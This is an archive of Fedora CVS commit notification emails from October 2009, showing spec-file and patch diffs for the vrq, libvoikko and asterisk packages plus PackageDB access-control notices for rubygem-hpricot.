Subject: rpms/vrq/EL-5 .cvsignore, 1.4, 1.5 import.log, 1.3, 1.4 sources, 1.4,
	1.5 vrq.spec, 1.3, 1.4
Message-ID: <20091025114255.BE07311C00E5@cvs1.fedora.phx.redhat.com>

Author: shakthimaan

Update of /cvs/pkgs/rpms/vrq/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13684/EL-5

Modified Files:
	.cvsignore import.log sources vrq.spec 
Log Message:
Updated to vrq 1.0.63 package.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/vrq/EL-5/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	16 Oct 2009 17:04:17 -0000	1.4
+++ .cvsignore	25 Oct 2009 11:42:55 -0000	1.5
@@ -1 +1 @@
-vrq-1.0.62.tar.gz
+vrq-1.0.63.tar.gz


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/vrq/EL-5/import.log,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- import.log	16 Oct 2009 17:04:17 -0000	1.3
+++ import.log	25 Oct 2009 11:42:55 -0000	1.4
@@ -1,3 +1,4 @@
 vrq-1_0_58-3_fc11:EL-5:vrq-1.0.58-3.fc11.src.rpm:1252940578
 vrq-1_0_61-1_fc11:EL-5:vrq-1.0.61-1.fc11.src.rpm:1255239529
 vrq-1_0_62-1_fc11:EL-5:vrq-1.0.62-1.fc11.src.rpm:1255713045
+vrq-1_0_63-1_fc11:EL-5:vrq-1.0.63-1.fc11.src.rpm:1256471376


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/vrq/EL-5/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	16 Oct 2009 17:04:17 -0000	1.4
+++ sources	25 Oct 2009 11:42:55 -0000	1.5
@@ -1 +1 @@
-5615c019e54dc5b62f040d1d95adaa51  vrq-1.0.62.tar.gz
+2d42b8cffca1e7ce109c8ffad5743ca7  vrq-1.0.63.tar.gz


Index: vrq.spec
===================================================================
RCS file: /cvs/pkgs/rpms/vrq/EL-5/vrq.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- vrq.spec	16 Oct 2009 17:04:17 -0000	1.3
+++ vrq.spec	25 Oct 2009 11:42:55 -0000	1.4
@@ -1,5 +1,5 @@
 Name:           vrq
-Version:        1.0.62
+Version:        1.0.63
 Release:        1%{?dist}
 Summary:        Verilog tool framework with plugins for manipulating source code
 
@@ -69,6 +69,9 @@ to develop backend plugin customization 
 %{_includedir}/%{name}-%{version}
 
 %changelog
+* Thu Oct 25 2009 Shakthi Kannan <shakthimaan [AT] gmail DOT com> - 1.0.63-1
+- Updated to upstream package 1.0.63
+
 * Thu Oct 15 2009 Shakthi Kannan <shakthimaan [AT] gmail DOT com> - 1.0.62-1
 - Updated to upstream package 1.0.62
 



From shakthimaan at fedoraproject.org  Sun Oct 25 11:45:30 2009
From: shakthimaan at fedoraproject.org (Shakthi Kannan)
Date: Sun, 25 Oct 2009 11:45:30 +0000 (UTC)
Subject: rpms/vrq/F-10 .cvsignore, 1.4, 1.5 import.log, 1.3, 1.4 sources, 1.4,
	1.5 vrq.spec, 1.3, 1.4
Message-ID: <20091025114530.15DD711C00E5@cvs1.fedora.phx.redhat.com>

Author: shakthimaan

Update of /cvs/pkgs/rpms/vrq/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14693/F-10

Modified Files:
	.cvsignore import.log sources vrq.spec 
Log Message:
Updated to vrq 1.0.63 package.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/vrq/F-10/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	16 Oct 2009 17:05:47 -0000	1.4
+++ .cvsignore	25 Oct 2009 11:45:29 -0000	1.5
@@ -1 +1 @@
-vrq-1.0.62.tar.gz
+vrq-1.0.63.tar.gz


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/vrq/F-10/import.log,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- import.log	16 Oct 2009 17:05:47 -0000	1.3
+++ import.log	25 Oct 2009 11:45:29 -0000	1.4
@@ -1,3 +1,4 @@
 vrq-1_0_58-3_fc11:F-10:vrq-1.0.58-3.fc11.src.rpm:1252940282
 vrq-1_0_61-1_fc11:F-10:vrq-1.0.61-1.fc11.src.rpm:1255239629
 vrq-1_0_62-1_fc11:F-10:vrq-1.0.62-1.fc11.src.rpm:1255713158
+vrq-1_0_63-1_fc11:F-10:vrq-1.0.63-1.fc11.src.rpm:1256471528


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/vrq/F-10/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	16 Oct 2009 17:05:47 -0000	1.4
+++ sources	25 Oct 2009 11:45:29 -0000	1.5
@@ -1 +1 @@
-5615c019e54dc5b62f040d1d95adaa51  vrq-1.0.62.tar.gz
+2d42b8cffca1e7ce109c8ffad5743ca7  vrq-1.0.63.tar.gz


Index: vrq.spec
===================================================================
RCS file: /cvs/pkgs/rpms/vrq/F-10/vrq.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- vrq.spec	16 Oct 2009 17:05:47 -0000	1.3
+++ vrq.spec	25 Oct 2009 11:45:29 -0000	1.4
@@ -1,5 +1,5 @@
 Name:           vrq
-Version:        1.0.62
+Version:        1.0.63
 Release:        1%{?dist}
 Summary:        Verilog tool framework with plugins for manipulating source code
 
@@ -69,6 +69,9 @@ to develop backend plugin customization 
 %{_includedir}/%{name}-%{version}
 
 %changelog
+* Thu Oct 25 2009 Shakthi Kannan <shakthimaan [AT] gmail DOT com> - 1.0.63-1
+- Updated to upstream package 1.0.63
+
 * Thu Oct 15 2009 Shakthi Kannan <shakthimaan [AT] gmail DOT com> - 1.0.62-1
 - Updated to upstream package 1.0.62
 



From shakthimaan at fedoraproject.org  Sun Oct 25 11:47:20 2009
From: shakthimaan at fedoraproject.org (Shakthi Kannan)
Date: Sun, 25 Oct 2009 11:47:20 +0000 (UTC)
Subject: rpms/vrq/F-11 .cvsignore, 1.4, 1.5 import.log, 1.3, 1.4 sources, 1.4,
	1.5 vrq.spec, 1.3, 1.4
Message-ID: <20091025114720.D92B511C00E5@cvs1.fedora.phx.redhat.com>

Author: shakthimaan

Update of /cvs/pkgs/rpms/vrq/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15099/F-11

Modified Files:
	.cvsignore import.log sources vrq.spec 
Log Message:
Updated to vrq 1.0.63 package.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/vrq/F-11/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	16 Oct 2009 17:06:56 -0000	1.4
+++ .cvsignore	25 Oct 2009 11:47:20 -0000	1.5
@@ -1 +1 @@
-vrq-1.0.62.tar.gz
+vrq-1.0.63.tar.gz


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/vrq/F-11/import.log,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- import.log	16 Oct 2009 17:06:56 -0000	1.3
+++ import.log	25 Oct 2009 11:47:20 -0000	1.4
@@ -1,3 +1,4 @@
 vrq-1_0_58-3_fc11:F-11:vrq-1.0.58-3.fc11.src.rpm:1252940486
 vrq-1_0_61-1_fc11:F-11:vrq-1.0.61-1.fc11.src.rpm:1255239689
 vrq-1_0_62-1_fc11:F-11:vrq-1.0.62-1.fc11.src.rpm:1255713227
+vrq-1_0_63-1_fc11:F-11:vrq-1.0.63-1.fc11.src.rpm:1256471645


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/vrq/F-11/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	16 Oct 2009 17:06:56 -0000	1.4
+++ sources	25 Oct 2009 11:47:20 -0000	1.5
@@ -1 +1 @@
-5615c019e54dc5b62f040d1d95adaa51  vrq-1.0.62.tar.gz
+2d42b8cffca1e7ce109c8ffad5743ca7  vrq-1.0.63.tar.gz


Index: vrq.spec
===================================================================
RCS file: /cvs/pkgs/rpms/vrq/F-11/vrq.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- vrq.spec	16 Oct 2009 17:06:56 -0000	1.3
+++ vrq.spec	25 Oct 2009 11:47:20 -0000	1.4
@@ -1,5 +1,5 @@
 Name:           vrq
-Version:        1.0.62
+Version:        1.0.63
 Release:        1%{?dist}
 Summary:        Verilog tool framework with plugins for manipulating source code
 
@@ -69,6 +69,9 @@ to develop backend plugin customization 
 %{_includedir}/%{name}-%{version}
 
 %changelog
+* Thu Oct 25 2009 Shakthi Kannan <shakthimaan [AT] gmail DOT com> - 1.0.63-1
+- Updated to upstream package 1.0.63
+
 * Thu Oct 15 2009 Shakthi Kannan <shakthimaan [AT] gmail DOT com> - 1.0.62-1
 - Updated to upstream package 1.0.62
 



From shakthimaan at fedoraproject.org  Sun Oct 25 11:50:24 2009
From: shakthimaan at fedoraproject.org (Shakthi Kannan)
Date: Sun, 25 Oct 2009 11:50:24 +0000 (UTC)
Subject: rpms/vrq/F-12 .cvsignore, 1.4, 1.5 import.log, 1.2, 1.3 sources, 1.4,
	1.5 vrq.spec, 1.3, 1.4
Message-ID: <20091025115024.2684E11C02BB@cvs1.fedora.phx.redhat.com>

Author: shakthimaan

Update of /cvs/pkgs/rpms/vrq/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15668/F-12

Modified Files:
	.cvsignore import.log sources vrq.spec 
Log Message:
Updated to vrq 1.0.63 package.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/vrq/F-12/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	16 Oct 2009 17:08:37 -0000	1.4
+++ .cvsignore	25 Oct 2009 11:50:23 -0000	1.5
@@ -1 +1 @@
-vrq-1.0.62.tar.gz
+vrq-1.0.63.tar.gz


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/vrq/F-12/import.log,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- import.log	16 Oct 2009 17:08:38 -0000	1.2
+++ import.log	25 Oct 2009 11:50:23 -0000	1.3
@@ -1,2 +1,3 @@
 vrq-1_0_61-1_fc11:F-12:vrq-1.0.61-1.fc11.src.rpm:1255239754
 vrq-1_0_62-1_fc11:F-12:vrq-1.0.62-1.fc11.src.rpm:1255713304
+vrq-1_0_63-1_fc11:F-12:vrq-1.0.63-1.fc11.src.rpm:1256471760


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/vrq/F-12/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	16 Oct 2009 17:08:38 -0000	1.4
+++ sources	25 Oct 2009 11:50:23 -0000	1.5
@@ -1 +1 @@
-5615c019e54dc5b62f040d1d95adaa51  vrq-1.0.62.tar.gz
+2d42b8cffca1e7ce109c8ffad5743ca7  vrq-1.0.63.tar.gz


Index: vrq.spec
===================================================================
RCS file: /cvs/pkgs/rpms/vrq/F-12/vrq.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- vrq.spec	16 Oct 2009 17:08:38 -0000	1.3
+++ vrq.spec	25 Oct 2009 11:50:23 -0000	1.4
@@ -1,5 +1,5 @@
 Name:           vrq
-Version:        1.0.62
+Version:        1.0.63
 Release:        1%{?dist}
 Summary:        Verilog tool framework with plugins for manipulating source code
 
@@ -69,6 +69,9 @@ to develop backend plugin customization 
 %{_includedir}/%{name}-%{version}
 
 %changelog
+* Thu Oct 25 2009 Shakthi Kannan <shakthimaan [AT] gmail DOT com> - 1.0.63-1
+- Updated to upstream package 1.0.63
+
 * Thu Oct 15 2009 Shakthi Kannan <shakthimaan [AT] gmail DOT com> - 1.0.62-1
 - Updated to upstream package 1.0.62
 



From vpv at fedoraproject.org  Sun Oct 25 12:36:41 2009
From: vpv at fedoraproject.org (Ville-Pekka Vainio)
Date: Sun, 25 Oct 2009 12:36:41 +0000 (UTC)
Subject: rpms/libvoikko/devel libvoikko.spec,1.29,1.30
Message-ID: <20091025123641.0F81011C00E5@cvs1.fedora.phx.redhat.com>

Author: vpv

Update of /cvs/pkgs/rpms/libvoikko/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29199

Modified Files:
	libvoikko.spec 
Log Message:
* Sun Oct 25 2009 Ville-Pekka Vainio <vpivaini AT cs.helsinki.fi> - 2.2.1-2
- Add Python interface (package python-libvoikko)



Index: libvoikko.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libvoikko/devel/libvoikko.spec,v
retrieving revision 1.29
retrieving revision 1.30
diff -u -p -r1.29 -r1.30
--- libvoikko.spec	8 Oct 2009 23:03:18 -0000	1.29
+++ libvoikko.spec	25 Oct 2009 12:36:40 -0000	1.30
@@ -1,6 +1,7 @@
+%{!?python_sitelib: %global python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
 Name:           libvoikko
 Version:        2.2.1
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        Voikko is a library for spellcheckers and hyphenators
 
 Group:          System Environment/Libraries
@@ -12,7 +13,7 @@ Source0:        http://downloads.sourcef
 #Source0:        http://www.puimula.org/htp/testing/%{name}-%{version}rc2.tar.gz
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
-BuildRequires:  python glib2-devel
+BuildRequires:  python-devel glib2-devel
 # Libvoikko >= 2.2 needs this, earlier versions won't work
 Requires:       malaga-suomi-voikko >= 1.4
 
@@ -47,6 +48,17 @@ This package contains voikkospell and vo
 tools for testing libvoikko. These tools may also be useful for shell
 scripts.
 
+%package -n     python-libvoikko
+Summary:        Python interface to %{name}
+Group:          Development/Libraries
+Requires:       %{name} = %{version}-%{release}
+
+%description -n python-libvoikko
+Python interface to libvoikko, library of Finnish language tools.
+This module can be used to perform various natural language analysis
+tasks on Finnish text.
+
+
 %prep
 %setup -q
 
@@ -67,6 +79,9 @@ make install INSTALL="install -p" DESTDI
 find $RPM_BUILD_ROOT -name '*.la' -exec rm -f {} ';'
 # Remove static archive
 find $RPM_BUILD_ROOT -name '*.a' -exec rm -f {} ';'
+# Install the Python interface
+install -d $RPM_BUILD_ROOT%{python_sitelib}
+install -pm 0644 python/libvoikko.py $RPM_BUILD_ROOT%{python_sitelib}/
 
 
 %clean
@@ -99,7 +114,14 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/*.so
 %{_libdir}/pkgconfig/libvoikko.pc
 
+%files -n python-libvoikko
+%defattr(-,root,root,-)
+%{python_sitelib}/%{name}.py*
+
 %changelog
+* Sun Oct 25 2009 Ville-Pekka Vainio <vpivaini AT cs.helsinki.fi> - 2.2.1-2
+- Add Python interface (package python-libvoikko)
+
 * Fri Oct 09 2009 Ville-Pekka Vainio <vpivaini AT cs.helsinki.fi> - 2.2.1-1
 - New upstream release, fixes bugs found in 2.2
 



From vpv at fedoraproject.org  Sun Oct 25 12:36:53 2009
From: vpv at fedoraproject.org (Ville-Pekka Vainio)
Date: Sun, 25 Oct 2009 12:36:53 +0000 (UTC)
Subject: rpms/libvoikko/F-12 libvoikko.spec,1.29,1.30
Message-ID: <20091025123653.ABA6711C00E5@cvs1.fedora.phx.redhat.com>

Author: vpv

Update of /cvs/pkgs/rpms/libvoikko/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29256

Modified Files:
	libvoikko.spec 
Log Message:
* Sun Oct 25 2009 Ville-Pekka Vainio <vpivaini AT cs.helsinki.fi> - 2.2.1-2
- Add Python interface (package python-libvoikko)



Index: libvoikko.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libvoikko/F-12/libvoikko.spec,v
retrieving revision 1.29
retrieving revision 1.30
diff -u -p -r1.29 -r1.30
--- libvoikko.spec	8 Oct 2009 23:12:38 -0000	1.29
+++ libvoikko.spec	25 Oct 2009 12:36:53 -0000	1.30
@@ -1,6 +1,7 @@
+%{!?python_sitelib: %global python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
 Name:           libvoikko
 Version:        2.2.1
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        Voikko is a library for spellcheckers and hyphenators
 
 Group:          System Environment/Libraries
@@ -12,7 +13,7 @@ Source0:        http://downloads.sourcef
 #Source0:        http://www.puimula.org/htp/testing/%{name}-%{version}rc2.tar.gz
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
-BuildRequires:  python glib2-devel
+BuildRequires:  python-devel glib2-devel
 # Libvoikko >= 2.2 needs this, earlier versions won't work
 Requires:       malaga-suomi-voikko >= 1.4
 
@@ -47,6 +48,17 @@ This package contains voikkospell and vo
 tools for testing libvoikko. These tools may also be useful for shell
 scripts.
 
+%package -n     python-libvoikko
+Summary:        Python interface to %{name}
+Group:          Development/Libraries
+Requires:       %{name} = %{version}-%{release}
+
+%description -n python-libvoikko
+Python interface to libvoikko, library of Finnish language tools.
+This module can be used to perform various natural language analysis
+tasks on Finnish text.
+
+
 %prep
 %setup -q
 
@@ -67,6 +79,9 @@ make install INSTALL="install -p" DESTDI
 find $RPM_BUILD_ROOT -name '*.la' -exec rm -f {} ';'
 # Remove static archive
 find $RPM_BUILD_ROOT -name '*.a' -exec rm -f {} ';'
+# Install the Python interface
+install -d $RPM_BUILD_ROOT%{python_sitelib}
+install -pm 0644 python/libvoikko.py $RPM_BUILD_ROOT%{python_sitelib}/
 
 
 %clean
@@ -99,7 +114,14 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/*.so
 %{_libdir}/pkgconfig/libvoikko.pc
 
+%files -n python-libvoikko
+%defattr(-,root,root,-)
+%{python_sitelib}/%{name}.py*
+
 %changelog
+* Sun Oct 25 2009 Ville-Pekka Vainio <vpivaini AT cs.helsinki.fi> - 2.2.1-2
+- Add Python interface (package python-libvoikko)
+
 * Fri Oct 09 2009 Ville-Pekka Vainio <vpivaini AT cs.helsinki.fi> - 2.2.1-1
 - New upstream release, fixes bugs found in 2.2
 



From jcollie at fedoraproject.org  Sun Oct 25 12:47:12 2009
From: jcollie at fedoraproject.org (Jeffrey C. Ollie)
Date: Sun, 25 Oct 2009 12:47:12 +0000 (UTC)
Subject: rpms/asterisk/F-11
	0008-change-configure.ac-to-look-for-pkg-config-gmime-2.0.patch, NONE,
	1.1 0001-Modify-init-scripts-for-better-Fedora-compatibility.patch,
	1.10, 1.11 asterisk.spec, 1.54,
	1.55 0008-change-configure.ac-to-look-for-pkg-config-gmime-2.4.patch, 
	1.5,
	NONE 0010-my-guess-as-replacements-for-the-missing-broken-stuf.patch, 
	1.4, NONE
Message-ID: <20091025124712.C4A8211C00E5@cvs1.fedora.phx.redhat.com>

Author: jcollie

Update of /cvs/pkgs/rpms/asterisk/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31757

Modified Files:
	0001-Modify-init-scripts-for-better-Fedora-compatibility.patch 
	asterisk.spec 
Added Files:
	0008-change-configure.ac-to-look-for-pkg-config-gmime-2.0.patch 
Removed Files:
	0008-change-configure.ac-to-look-for-pkg-config-gmime-2.4.patch 
	0010-my-guess-as-replacements-for-the-missing-broken-stuf.patch 
Log Message:
* Sat Oct 24 2009 Jeffrey C. Ollie <jeff at ocjtech.us> - 1.6.1.7-0.4.rc2
- Add an AST_EXTRA_ARGS option to the init script
- have the init script to cd to /var/spool/asterisk to prevent annoying message


0008-change-configure.ac-to-look-for-pkg-config-gmime-2.0.patch:
 configure.ac |   12 +++++++++++-
 1 file changed, 11 insertions(+), 1 deletion(-)

--- NEW FILE 0008-change-configure.ac-to-look-for-pkg-config-gmime-2.0.patch ---
Index: configure.ac
===================================================================
--- configure.ac	(revision 221084)
+++ configure.ac	(working copy)
@@ -1520,7 +1520,17 @@
     AST_CHECK_OSPTK([3], [5], [0])
 fi
 
-AST_EXT_TOOL_CHECK([GMIME], [gmime], [], [], [#include <gmime/gmime.h>], [gboolean q = g_mime_check_version(0,0,0);])
+PBX_GMIME=0
+AC_CHECK_TOOL(PKGCONFIG, pkg-config, No)
+if test ! "x${PKGCONFIG}" = xNo; then
+   GMIME_INCLUDE=$(${PKGCONFIG} gmime-2.0 --cflags 2>/dev/null)
+   GMIME_LIB=$(${PKGCONFIG} gmime-2.0 --libs)
+   PBX_GMIME=1
+   AC_DEFINE([HAVE_GMIME], 1, [Define if your system has the GMIME libraries.])
+fi
+AC_SUBST(PBX_GMIME)
+AC_SUBST(GMIME_INCLUDE)
+AC_SUBST(GMIME_LIB)
 
 AST_EXT_LIB_CHECK([HOARD], [hoard], [malloc], [])
 

0001-Modify-init-scripts-for-better-Fedora-compatibility.patch:
 init.d/rc.redhat.asterisk |   68 ++++++++++++++++++++++------------------------
 sysconfig/asterisk        |   19 ++++++++++++
 2 files changed, 52 insertions(+), 35 deletions(-)

Index: 0001-Modify-init-scripts-for-better-Fedora-compatibility.patch
===================================================================
RCS file: /cvs/pkgs/rpms/asterisk/F-11/0001-Modify-init-scripts-for-better-Fedora-compatibility.patch,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- 0001-Modify-init-scripts-for-better-Fedora-compatibility.patch	9 Feb 2009 05:54:21 -0000	1.10
+++ 0001-Modify-init-scripts-for-better-Fedora-compatibility.patch	25 Oct 2009 12:47:08 -0000	1.11
@@ -1,18 +1,7 @@
-From 6cd5722ba64b7cb24b8475395edcc6555e2326d4 Mon Sep 17 00:00:00 2001
-From: Jeffrey C. Ollie <jeff at ocjtech.us>
-Date: Sun, 18 Nov 2007 21:47:59 -0600
-Subject: [PATCH 01/15] Modify init scripts for better Fedora compatibility.
-
----
- contrib/init.d/rc.redhat.asterisk |   61 +++++++++++++++++-------------------
- contrib/sysconfig/asterisk        |   16 ++++++++++
- 2 files changed, 45 insertions(+), 32 deletions(-)
- create mode 100644 contrib/sysconfig/asterisk
-
-diff --git a/contrib/init.d/rc.redhat.asterisk b/contrib/init.d/rc.redhat.asterisk
-index d2a630e..7ac830d 100755
---- a/contrib/init.d/rc.redhat.asterisk
-+++ b/contrib/init.d/rc.redhat.asterisk
+Index: contrib/init.d/rc.redhat.asterisk
+===================================================================
+--- contrib/init.d/rc.redhat.asterisk	(revision 225759)
++++ contrib/init.d/rc.redhat.asterisk	(working copy)
 @@ -3,7 +3,7 @@
  #
  # asterisk    Starts, Stops and Reloads Asterisk.
@@ -30,10 +19,10 @@ index d2a630e..7ac830d 100755
 -#AST_CONFIG=/etc/asterisk
 +# Do not modify this script to change any of the settings, instead
 +# edit /etc/sysconfig/asterisk
-+
+ 
 +# Specify the configuration file
 +AST_CONFIG=/etc/asterisk/asterisk.conf
- 
++
  # Installation directory
  AST_SBIN=/usr/sbin
  
@@ -50,7 +39,7 @@ index d2a630e..7ac830d 100755
 +# as to the primary group of the user, as well as initialize the
 +# supplementary groups.  If you want to run Asterisk as a different
 +# group, set AST_GROUP to the group that Asterisk should run as.  Note
-+# that this may break Zaptel devices as supplementary groups will not
++# that this may break DAHDI devices as supplementary groups will not
 +# be initialized.
  #AST_GROUP="asterisk"
  
@@ -100,7 +89,7 @@ index d2a630e..7ac830d 100755
  RETVAL=0
  
  start() {
-@@ -78,9 +78,6 @@ start() {
+@@ -78,19 +78,17 @@
  
  	# Start daemons.
  	echo -n $"Starting asterisk: "
@@ -108,18 +97,24 @@ index d2a630e..7ac830d 100755
 -		DAEMON=$SAFE_ASTERISK
 -	fi
  	if [ $AST_USER ] ; then
- 		ASTARGS="-U $AST_USER"
+-		ASTARGS="-U $AST_USER"
++		AST_ARGS="-U $AST_USER"
  	fi
-@@ -88,7 +85,7 @@ start() {
- 		ASTARGS="$ASTARGS -G $AST_GROUP"
+ 	if [ $AST_GROUP ] ; then
+-		ASTARGS="$ASTARGS -G $AST_GROUP"
++		AST_ARGS="$AST_ARGS -G $AST_GROUP"
  	fi
  	if [ $AST_CONFIG ]; then
 -		ASTARGS="$ASTARGS -C $AST_CONFIG/asterisk.conf"
-+		ASTARGS="$ASTARGS -C $AST_CONFIG"
++		AST_ARGS="$AST_ARGS -C $AST_CONFIG"
  	fi
- 	daemon $DAEMON $ASTARGS
+-	daemon $DAEMON $ASTARGS
++	cd /var/spool/asterisk
++	daemon $DAEMON $AST_ARGS $AST_EXTRA_ARGS
  	RETVAL=$?
-@@ -99,7 +96,7 @@ start() {
+ 	[ $RETVAL -eq 0 ] && touch /var/lock/subsys/asterisk
+ 	echo
+@@ -99,7 +97,7 @@
  
  stop() {
  	# Stop daemons.
@@ -128,12 +123,11 @@ index d2a630e..7ac830d 100755
  	killproc asterisk
  	RETVAL=$?
  	[ $RETVAL -eq 0 ] && rm -f /var/lock/subsys/asterisk
-diff --git a/contrib/sysconfig/asterisk b/contrib/sysconfig/asterisk
-new file mode 100644
-index 0000000..2d3598a
---- /dev/null
-+++ b/contrib/sysconfig/asterisk
-@@ -0,0 +1,16 @@
+Index: contrib/sysconfig/asterisk
+===================================================================
+--- contrib/sysconfig/asterisk	(revision 225759)
++++ contrib/sysconfig/asterisk	(working copy)
+@@ -0,0 +1,19 @@
 +# Specify the configuration file
 +AST_CONFIG=/etc/asterisk/asterisk.conf
 +
@@ -150,6 +144,6 @@ index 0000000..2d3598a
 +# that this may break Zaptel devices as supplementary groups will not
 +# be initialized.
 +#AST_GROUP="asterisk"
--- 
-1.6.1
-
++
++# A place to specify extra arguments for the Asterisk command line
++AST_EXTRA_ARGS=""


Index: asterisk.spec
===================================================================
RCS file: /cvs/pkgs/rpms/asterisk/F-11/asterisk.spec,v
retrieving revision 1.54
retrieving revision 1.55
diff -u -p -r1.54 -r1.55
--- asterisk.spec	9 Oct 2009 15:05:17 -0000	1.54
+++ asterisk.spec	25 Oct 2009 12:47:10 -0000	1.55
@@ -2,7 +2,7 @@
 Summary: The Open Source PBX
 Name: asterisk
 Version: 1.6.1.7
-Release: 0.2%{?_rc:.rc%{_rc}}%{?dist}
+Release: 0.4%{?_rc:.rc%{_rc}}%{?dist}
 License: GPLv2
 Group: Applications/Internet
 URL: http://www.asterisk.org/
@@ -17,8 +17,7 @@ Source6: asterisk-developer-pubring.gpg
 Patch1:  0001-Modify-init-scripts-for-better-Fedora-compatibility.patch
 Patch2:  0002-Modify-modules.conf-so-that-different-voicemail-modu.patch
 Patch5:  0005-Build-using-external-libedit.patch
-Patch8:  0008-change-configure.ac-to-look-for-pkg-config-gmime-2.4.patch
-Patch10: 0010-my-guess-as-replacements-for-the-missing-broken-stuf.patch
+Patch8:  0008-change-configure.ac-to-look-for-pkg-config-gmime-2.0.patch
 Patch11: 0011-Fix-up-some-paths.patch
 Patch12: 0012-Add-LDAP-schema-that-is-compatible-with-Fedora-Direc.patch
 
@@ -38,7 +37,7 @@ BuildRequires: libcap-devel
 BuildRequires: gtk2-devel
 
 # for res_http_post
-BuildRequires: gmime-devel
+BuildRequires: gmime22-devel
 
 # for building docs
 BuildRequires: doxygen
@@ -380,11 +379,10 @@ local filesystem.
 
 %prep
 %setup0 -q -n asterisk-%{version}%{?_rc:-rc%{_rc}}
-%patch1 -p1
+%patch1 -p0
 %patch2 -p0
 %patch5 -p0
 %patch8 -p0
-%patch10 -p1
 %patch11 -p0
 %patch12 -p1
 
@@ -992,6 +990,13 @@ fi
 %{_libdir}/asterisk/modules/app_voicemail_plain.so
 
 %changelog
+* Sat Oct 24 2009 Jeffrey C. Ollie <jeff at ocjtech.us> - 1.6.1.7-0.4.rc2
+- Add an AST_EXTRA_ARGS option to the init script
+- have the init script to cd to /var/spool/asterisk to prevent annoying message
+
+* Sat Oct 24 2009 Jeffrey C. Ollie <jeff at ocjtech.us> - 1.6.1.7-0.3.rc2
+- Compile against gmime 2.2 instead of gmime 2.4 because the patch to convert the API calls from 2.2 to 2.4 caused crashes.
+
 * Fri Oct  9 2009 Jeffrey C. Ollie <jeff at ocjtech.us> - 1.6.1.7-0.2.rc2
 - Require latex2html used in static-http documents
 


--- 0008-change-configure.ac-to-look-for-pkg-config-gmime-2.4.patch DELETED ---


--- 0010-my-guess-as-replacements-for-the-missing-broken-stuf.patch DELETED ---



From pkgdb at fedoraproject.org  Sun Oct 25 13:24:22 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 25 Oct 2009 13:24:22 +0000
Subject: [pkgdb] rubygem-hpricot had acl change status
Message-ID: <20091025132423.2CA1A10F85D@bastion2.fedora.phx.redhat.com>

mtasaka has set the watchcommits acl on rubygem-hpricot (Fedora devel) to Approved for kanarip

To make changes to this package see:
  /pkgdb/packages/name/rubygem-hpricot



From pkgdb at fedoraproject.org  Sun Oct 25 13:24:25 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 25 Oct 2009 13:24:25 +0000
Subject: [pkgdb] rubygem-hpricot had acl change status
Message-ID: <20091025132425.A19B110F89C@bastion2.fedora.phx.redhat.com>

mtasaka has set the commit acl on rubygem-hpricot (Fedora devel) to Approved for kanarip

To make changes to this package see:
  /pkgdb/packages/name/rubygem-hpricot



From pkgdb at fedoraproject.org  Sun Oct 25 13:24:37 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 25 Oct 2009 13:24:37 +0000
Subject: [pkgdb] rubygem-hpricot had acl change status
